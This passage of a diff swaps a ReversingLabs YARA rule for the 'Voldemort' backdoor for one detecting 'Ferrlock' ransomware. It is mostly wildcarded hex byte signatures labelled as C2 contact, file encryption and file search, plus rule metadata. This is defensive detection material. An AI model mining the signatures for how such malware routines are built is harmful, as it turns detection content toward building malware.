$reply_to_c2_server = { - 55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? 4C 89 45 - ?? 4C 89 4D ?? 48 8B 55 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? - 48 8B 55 ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8B 55 ?? 49 89 - D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 ?? - ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 8D ?? ?? ?? ?? 48 8D 55 ?? 49 89 - C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 - ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 - ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? - 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB - ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 - E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 - 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 - C4 ?? ?? ?? ?? 5B 5D C3 + $encrypt_files_p3 = { + 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 56 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? + ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? + E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? + E8 ?? ?? ?? ?? 8B F3 39 B5 ?? ?? ?? ?? 76 ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8A 04 30 04 ?? 88 45 ?? FF 75 ?? E8 ?? ?? ?? + ?? 46 3B B5 ?? ?? ?? ?? 72 ?? 8B F3 39 B5 ?? ?? ?? ?? 76 ?? 83 BD ?? ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8A 04 30 2C ?? 88 45 ?? FF 75 + ?? E8 ?? ?? ?? ?? 46 3B B5 ?? ?? ?? ?? 72 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 50 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 + } + $encrypt_files_p4 = { + 85 ?? ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? BE ?? ?? + ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 56 50 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? + ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D + ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? + C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 + ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? + ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? + ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? + 59 59 68 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ?? + ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 8D ?? + ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 8D + } + $encrypt_files_p5 = { + 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? + ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 85 ?? ?? ?? ?? 51 50 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? + ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 56 50 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D + ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D + } + $encrypt_files_p6 = { + E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 65 ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? ?? ?? 83 + EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? ?? + ?? 83 EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 ?? E8 ?? + ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? + ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? + 8D 95 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 95 ?? + ?? ?? ?? 03 CA 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 2B C8 51 50 56 E8 ?? ?? ?? + ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 53 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? + 68 } condition: - uint16( 0 ) == 0x5A4D and ( $anti_sandbox_detect_environment ) and ( $collect_host_information ) and ( $contact_c2_server ) and ( $parse_c2_response ) and ( all of ( $download_file_from_c2_p* ) ) and ( $reply_to_c2_server ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) } -rule REVERSINGLABS_Win64_Backdoor_Voldemort : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Ferrlock : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Voldemort backdoor." + description = "Yara rule that detects Ferrlock ransomware." author = "ReversingLabs" - id = "d770bd79-5141-50a0-8cf7-bca1cf5f23e1" - date = "2024-10-09" - modified = "2024-10-09" + id = "745ce529-46d0-56ed-a8fa-b41b26b068f4" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.Voldemort.yara#L1-L208" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ferrlock.yara#L1-L131" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1fe2abe17436d2965e34d1f10223af50d9600809fdef234e7d89c74fa33228a9" + logic_hash = "b94bc77489dbb74573813631009e605bc848e17995a0a512d08b194ee3020b75" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "Voldemort" + tc_detection_type = "Ransomware" + tc_detection_name = "Ferrlock" tc_detection_factor = 5 importance = 25 strings: - $decrypt_configuration_p1 = { - 4C 8B DC 55 56 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 44 24 ?? 49 - 89 5B ?? 33 F6 49 89 7B ?? 4D 89 6B ?? 48 89 4C 24 ?? 66 C7 44 24 ?? ?? ?? C6 44 24 - ?? ?? E8 ?? ?? ?? ?? 4C 8B E8 8B FE E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B E8 48 85 C0 - 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B - D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B - D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CB E8 ?? ?? ?? ?? 48 85 C0 0F - 84 ?? ?? ?? ?? 45 33 C9 48 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B - CD C7 44 24 ?? ?? ?? ?? ?? 45 8D 41 ?? FF D0 48 89 44 24 ?? 48 8B F8 48 83 F8 ?? 0F - 84 ?? ?? ?? ?? 4C 89 A4 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 8B D0 48 8B CB FF 15 ?? ?? ?? ?? 48 85 C0 74 ?? 33 D2 48 8B CF FF D0 44 8B E0 EB - ?? 44 8B E6 89 74 24 ?? FF 15 ?? ?? ?? ?? 45 8B C4 BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? - ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 4C 8B F0 E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B - D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B - D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CB FF 15 ?? ?? ?? ?? 48 85 C0 - 74 ?? 4C 8D 4C 24 ?? 48 89 74 24 ?? 45 8B C4 49 8B D6 48 8B CF FF D0 8B FE 45 85 E4 - 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 44 8B C6 48 8D 54 24 - } - $decrypt_configuration_p2 = { - 0F 1F 84 00 ?? ?? ?? ?? 0F B6 0A 8B C7 FF C7 42 3A 0C 30 0F 85 ?? ?? ?? ?? 41 FF C0 - 48 FF C2 41 83 F8 ?? 72 ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 42 8B 2C 37 4C 89 BC 24 ?? ?? - ?? ?? 8D 5D ?? FF 15 ?? ?? ?? ?? 44 8B C3 BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? - 48 8B D8 85 ED 74 ?? 8D 47 ?? 03 C5 41 3B C4 73 ?? 49 8D 56 ?? 44 8B C5 48 03 D7 48 - 8B CB E8 ?? ?? ?? ?? 4C 8B BC 24 ?? ?? ?? ?? 49 C7 C0 ?? ?? ?? ?? 66 90 49 FF C0 43 - 38 34 28 75 ?? 85 ED 7E ?? 4C 8B CB 8B C6 4D 8D 49 ?? 99 FF C6 41 F7 F8 48 63 C2 42 - 0F B6 14 28 41 30 51 ?? 3B F5 7C ?? 48 8B 4C 24 ?? 4C 8B C5 48 8B D3 E8 ?? ?? ?? ?? - 48 8B 6C 24 ?? BE ?? ?? ?? ?? EB ?? 41 3B FC 0F 82 ?? ?? ?? ?? 48 8B DE 4C 8B A4 24 - ?? ?? ?? ?? 4D 85 F6 74 ?? FF 15 ?? ?? ?? ?? 4D 8B C6 33 D2 48 8B C8 FF 15 ?? ?? ?? - ?? 4C 8B B4 24 ?? ?? ?? ?? 48 85 DB 74 ?? FF 15 ?? ?? ?? ?? 4C 8B C3 33 D2 48 8B C8 - FF 15 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? - ?? ?? ?? 4C 8B AC 24 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B - D0 48 8B CB E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 85 C0 74 ?? 48 8B CF FF D0 48 - 8B BC 24 ?? ?? ?? ?? 48 85 ED 74 ?? FF 15 ?? ?? ?? ?? 4C 8B C5 33 D2 48 8B C8 FF 15 - ?? ?? ?? ?? 8B C6 48 8B 4C 24 ?? 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5E 5D - C3 - } - $decryption_algorithm = { - 40 53 48 83 EC ?? 0F B6 01 48 8B D9 84 C0 0F 84 ?? ?? ?? ?? 48 FF C3 48 89 7C 24 ?? - 4C 8B C9 8B F8 3C ?? 72 ?? 83 E7 ?? B9 ?? ?? ?? ?? 0F 1F 00 0F B6 13 48 FF C3 8B C2 - 83 E0 ?? D3 E0 83 C1 ?? 0B F8 80 FA ?? 73 ?? 33 C0 4C 8B C3 4D 2B C1 4C 3B CB 4C 0F - 47 C0 4D 85 C0 74 ?? 33 D2 49 8B C9 E8 ?? ?? ?? ?? 8B C7 99 83 E2 ?? 03 C2 C1 F8 ?? - 85 C0 7E ?? 48 89 74 24 ?? 48 8B FB 8B F0 66 90 48 8B D7 E8 ?? ?? ?? ?? 48 83 C7 ?? - 48 83 EE ?? 75 ?? 48 8B 74 24 ?? 48 8B C3 48 8B 7C 24 ?? 48 83 C4 ?? 5B C3 48 8B 7C - 24 ?? 48 8B C3 48 83 C4 ?? 5B C3 - } - $request_access_token_p1 = { - 40 53 55 56 57 41 54 41 55 41 56 41 57 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 - 33 C4 48 89 84 24 ?? ?? ?? ?? 33 C0 4C 89 4C 24 ?? 33 FF 48 89 44 24 ?? 0F 57 C0 89 - 7C 24 ?? 48 C7 C3 ?? ?? ?? ?? 8B F7 49 8B E8 4C 8B FA 4C 8B F1 48 8B C3 0F 11 44 24 - ?? 48 FF C0 42 38 34 00 75 ?? 48 8B CB 48 FF C1 40 38 34 0A 75 ?? 48 03 C1 48 8B CB - 48 FF C1 41 38 34 0E 75 ?? 48 03 C1 4C 8D 24 C5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4D 8B - C4 BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 4C 8B E8 48 85 C0 74 ?? 48 89 6C 24 ?? - 4C 8D 05 ?? ?? ?? ?? 4D 8B CE 4C 89 7C 24 ?? 49 8B D4 48 8B C8 E8 ?? ?? ?? ?? 4C 8D - 0D ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4C 24 ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B E8 48 85 C0 75 ?? 48 - 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B E8 48 8D 0D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CD FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 - 8B 6C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CD 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? FF D0 + $search_files_p1 = { + 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41 + F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? ?? + ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? FF + 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? 8B + CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? 8B + 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 FF + 57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 + C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? 57 8B 7D ?? 89 9D ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 + ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8A 11 80 FA + ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 53 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 DB } - $request_access_token_p2 = { - 85 C0 0F 84 ?? ?? ?? ?? 49 8B D5 48 8B CD E8 ?? ?? ?? ?? 48 8B F0 48 85 C0 0F 84 ?? - ?? ?? ?? 48 8B D3 66 90 48 FF C2 40 38 3C 10 75 ?? 48 FF C2 48 8B C8 E8 ?? ?? ?? ?? - 4C 8B F0 48 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B E8 48 85 - C0 74 ?? 83 78 ?? ?? 75 ?? 48 8B 48 ?? 48 8B FB 80 7C 39 ?? ?? 48 8D 7F ?? 75 ?? FF - 15 ?? ?? ?? ?? 4C 8D 47 ?? BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B 55 ?? 4C - 8B C3 48 8B F8 0F 1F 00 49 FF C0 42 80 3C 02 ?? 75 ?? 49 FF C0 48 8B C8 E8 ?? ?? ?? - ?? 49 8B CE E8 ?? ?? ?? ?? 48 85 FF 74 ?? 80 7C 1F ?? ?? 48 8D 5B ?? 75 ?? 48 8D 53 - ?? 48 8B CF E8 ?? ?? ?? ?? 48 8B 4C 24 ?? BB ?? ?? ?? ?? 48 89 01 EB ?? 8B 5C 24 ?? - EB ?? 8B DF EB ?? 8B DE 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 4D 85 ED 74 ?? FF 15 ?? ?? ?? - ?? 4D 8B C5 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 85 F6 74 ?? FF 15 ?? ?? ?? ?? 4C 8B - C6 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 85 FF 74 ?? FF 15 ?? ?? ?? ?? 4C 8B C7 33 D2 - 48 8B C8 FF 15 ?? ?? ?? ?? 8B C3 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 - 81 C4 ?? ?? ?? ?? 41 5F 41 5E 41 5D 41 5C 5F 5E 5D 5B C3 + $search_files_p2 = { + 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8A C3 80 FA ?? 75 ?? B0 ?? 0F B6 C0 2B CF 41 F7 D8 56 + 1B C0 23 C1 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? + 83 C4 ?? 8D 85 ?? ?? ?? ?? 53 53 53 50 53 57 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? + ?? 83 FE ?? 75 ?? 50 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 83 FE ?? 74 ?? 56 FF 15 + ?? ?? ?? ?? 8B C3 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 + C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? + 80 F9 ?? 75 ?? 38 9D ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 + 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 } - $network_communication_p1 = { - 40 53 56 57 41 54 41 56 41 57 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 44 24 - ?? 8B 35 ?? ?? ?? ?? 48 8B F9 48 8D 0D ?? ?? ?? ?? 4D 8B E1 4D 8B F8 4C 8B F2 E8 ?? - ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? 48 89 6C 24 ?? E8 ?? - ?? ?? ?? 48 8B D0 48 8B CB FF 15 ?? ?? ?? ?? 33 DB 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 - C9 89 5C 24 ?? 45 33 C0 48 8D 0D ?? ?? ?? ?? 8B D6 FF D0 48 89 07 48 8B E8 48 85 C0 - 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B - F0 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B - F0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CE FF 15 ?? ?? ?? ?? 48 85 C0 - 0F 84 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 45 33 C9 49 8B D6 48 8B CD FF D0 48 89 47 ?? 48 + $enum_rsrc = { + 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 8D 4D ?? 83 4D ?? ?? 51 50 6A + ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 + ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? EB ?? 33 DB 39 5D ?? 7E ?? + 8D 7E ?? F7 47 ?? ?? ?? ?? ?? 74 ?? 8D 47 ?? 89 45 ?? 8B 45 ?? 8B 00 8B 48 ?? 85 C9 + 74 ?? 8B 01 8D 55 ?? 52 FF 50 ?? EB ?? FF 37 8D 4D ?? E8 ?? ?? ?? ?? 83 65 ?? ?? 8D + 45 ?? 50 8B 45 ?? 8B 48 ?? E8 ?? ?? ?? ?? 83 4D ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 43 83 + C7 ?? 3B 5D ?? 7C ?? 83 4D ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 56 8D 45 ?? 50 FF + 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 + ?? ?? ?? ?? E8 ?? ?? ?? ?? C2 ?? ?? E8 ?? ?? ?? ?? CC 55 8B EC 6A ?? 68 ?? ?? ?? ?? + 64 A1 ?? ?? ?? ?? 50 56 A1 ?? ?? ?? ?? 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 83 + 65 ?? ?? 8B 4E ?? 85 C9 74 ?? 8B 11 3B CE 0F 95 C0 0F 